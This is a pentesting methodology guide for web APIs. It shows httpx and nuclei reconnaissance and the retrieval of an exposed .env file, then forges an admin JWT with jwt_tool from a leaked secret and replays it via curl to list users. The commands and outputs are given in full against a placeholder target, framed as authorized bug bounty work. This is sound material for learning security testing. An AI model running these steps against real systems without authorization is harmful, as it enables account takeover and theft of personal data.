Web App Pentest Methodology 2026: A Practical Guide

In early 2026, the CVE-2025-44228 wave reminded everyone that modern web stacks are sprawling — microservices, API gateways, JWT auth, and serverless functions all stitched together with duct tape. A single misconfigured endpoint handed attackers full RCE on a Fortune 500 logistics platform. The kill chain started with passive recon. It always does.

This is the methodology that works in 2026 — built around what attackers actually do, not what certification syllabi say they do.

Phase 1: Automated Recon With Nuclei and HTTPX

Recon in 2026 means fingerprinting at scale before you touch anything manually. Nuclei is a template-based vulnerability scanner — think of it as a smart fuzzer that knows what to look for. HTTPX is a fast HTTP probe that maps live hosts and reveals tech stacks.

Start by probing your target’s known subdomains and API surfaces:

$ echo "api.logistics-target.com" | httpx -status-code -tech-detect -title -ip

https://api.logistics-target.com [200] [nginx/1.25.3] [React] [Title: Logistics API Portal] [IP: 192.0.2.47]

That single line tells you the IP, the web server version, and that React is being used — meaning there is likely a client-side router and a separate backend API. Nginx 1.25.3 is worth noting; cross-reference it against known CVEs for that minor version.

Now run Nuclei against that host with a focused template set:

$ nuclei -u https://api.logistics-target.com -t exposures/ -t misconfiguration/ -severity medium,high,critical

[2026-09-13 08:14:22] [CVE-2025-1984] [http] [high] https://api.logistics-target.com/.env
[2026-09-13 08:14:31] [cors-misconfiguration] [http] [medium] https://api.logistics-target.com/v2/shipments
[2026-09-13 08:14:45] [exposed-swagger-ui] [http] [info] https://api.logistics-target.com/docs

Three findings in under a minute. The .env exposure is critical — that file almost always contains database credentials, API keys, or JWT secrets. The CORS misconfiguration on /v2/shipments means a malicious origin may be able to read authenticated responses. The exposed Swagger UI gives you a full map of every API endpoint without touching the application manually.

Pull the .env first. If it yields a JWT_SECRET, you can forge tokens. If it yields DB credentials, pivot directly to the database layer. The Swagger UI becomes your roadmap for the rest of the test.

Phase 2: JWT Forgery and Privilege Escalation

APIs in 2026 still lean heavily on JWTs — JSON Web Tokens used to prove identity. When the signing secret leaks (as it did in our .env hit above), an attacker can craft tokens for any user, including admins.

Say the .env revealed JWT_SECRET=sh1pp1ng_s3cr3t_2025. Use jwt_tool — a command-line JWT attack toolkit — to forge an admin token:

$ python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiamRvZSIsInJvbGUiOiJ1c2VyIn0.SIGNATURE \
  -T -S hs256 -p "sh1pp1ng_s3cr3t_2025"

[*] Tampered token payload: {"user": "jdoe", "role": "admin"}
[+] Signed token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiamRvZSIsInJvbGUiOiJhZG1pbiJ9.xK9mZq2Lv8TpNcWdRsYfA3bEuHjOQiMnVtXlCkPwGDU

You changed role: user to role: admin and signed it with the leaked secret. The server has no way to distinguish this from a legitimate token — it trusts the signature, not the source.

Now replay it against the admin endpoint discovered in the Swagger docs:

$ curl -s -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiamRvZSIsInJvbGUiOiJhZG1pbiJ9.xK9mZq2Lv8TpNcWdRsYfA3bEuHjOQiMnVtXlCkPwGDU" \
  https://api.logistics-target.com/v2/admin/users | jq .

{
  "users": [
    {"id": 1, "email": "admin@logistics-target.com", "role": "superadmin"},
    {"id": 2, "email": "jdoe@logistics-target.com", "role": "user"}
  ]
}

Full admin API access with a forged token. At this point you have broken authentication and unauthorized data access — two critical OWASP API Top 10 findings. Document the forged token, the endpoint, and the response payload verbatim. Screenshots plus raw HTTP requests are your evidence.

From here, look for any admin actions exposed in Swagger — user creation, export functions, or integration webhooks. Export endpoints are frequently unguarded and dump entire databases as CSV or JSON.

Phase 3: Chaining Findings Into a Report-Ready Kill Chain

A pentest report without a kill chain is just a list. Chain your findings so a developer understands the blast radius:

1. Exposed .env leaks JWT_SECRET
2. JWT forgery grants admin-level API access
3. Admin user-list endpoint exposes PII for all users
4. CORS misconfiguration on /v2/shipments allows cross-origin data theft from authenticated sessions

Each finding links to the next. That narrative is what gets vulnerabilities prioritized and patched — not CVSS scores alone.

Use Obsidian or a simple markdown file to map findings as you go. Waiting until the end to reconstruct the chain from memory means you will miss steps.

What To Do Now

Grab a target from your authorized bug bounty scope — HackerOne or Bugcrowd both have API-heavy programs — run HTTPX and Nuclei against it right now using the commands above. Focus on the exposures/ and misconfiguration/ template directories. You will find something real within the first thirty minutes. That is where your methodology earns its keep.